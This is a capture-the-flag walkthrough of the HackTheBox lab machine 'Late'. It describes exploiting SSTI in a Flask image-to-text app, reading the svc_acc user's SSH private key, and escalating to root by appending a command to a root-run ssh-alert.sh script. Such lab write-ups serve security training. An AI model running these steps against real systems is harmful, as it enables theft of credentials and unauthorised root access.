HackTheBox - Late Walkthrough
Introduction
OS: Linux
Difficulty: Easy
Points: 20
Release: 23 Apr 2022
IP: 10.10.11.156
HackTheBox’s Late is an easy level machine.
Enumeration
nmap scanning result
1 | # Nmap 7.92 scan initiated Mon Apr 25 12:18:35 2022 as: nmap -sC -sV -oN scan.nmap -vvv 10.10.11.156 |
Foothold
lets open the webpage in browser.
Then, place images.late.htb in the /etc/hosts file.
Let’s go to imges.late.htb in the browser.
You can also see that it was created with flask, that also indicates that it could be vulnerable to SSTI injection.
The images are converted into text by the application. So, let’s use a editor then take screenshot like below.
Here’s an example of a payload image.
Upload the image into the application.
After uploaded the image payload. We will get result.txt file automatically with executed payload’s answer. We confirmed that this application is vulnerable to SSTI.
User Flag
so we can exploit the SSTI by calling os.popen().read()
Here’s an example of a payload.
Successfully executed.
I’m attempting to obtain the svc acc user’s ssh key.
Here is the payload for obtaining the user’s ssh key.
We have the user ssh key.
Save the key as svc acc key in a file.
1 | chmod 600 svc_acc_key |
1 | ssh -i svc_acc_key svc_acc@late.htb |
Got User Flag.
Root Flag
Nothing appears to be interesting or suspicious after running the linpeas.sh script.
I discovered something interesting after monitoring the running process.
2022/05/08 09:14:02 CMD: UID=0 PID=25096 | cp /root/scripts/ssh-alert.sh /usr/local/sbin/ssh-alert.sh
2022/05/08 09:14:02 CMD: UID=0 PID=25093 | /bin/bash /root/scripts/cron.sh
2022/05/08 09:14:02 CMD: UID=0 PID=25092 | /bin/sh -c /root/scripts/cron.sh
2022/05/08 09:14:02 CMD: UID=0 PID=25091 | /usr/sbin/CRON -f
Analyze the /usr/local/sbin/ssh-alert.sh script.
1 | svc_acc@late:/tmp$ cat /usr/local/sbin/ssh-alert.sh |
Every time we ssh into a machine, it sends an email to root with the username, date, and server name of the person who is accessing the machine.
We can take advantage of this to execute commands as root.
I attempted to modify the entire script but was unable to do so.
As a result, I only append the command.
1 | echo "cat /root/root.txt > /tmp/root.txt;chown svc_acc:svc_acc /tmp/root.txt" >> /usr/local/sbin/ssh-alert.sh |
After that, SSH into the user. Our modified script was run as root.
1 | ssh -i svc_acc_key svc_acc@late.htb |
Boom…. Got RoOt Flag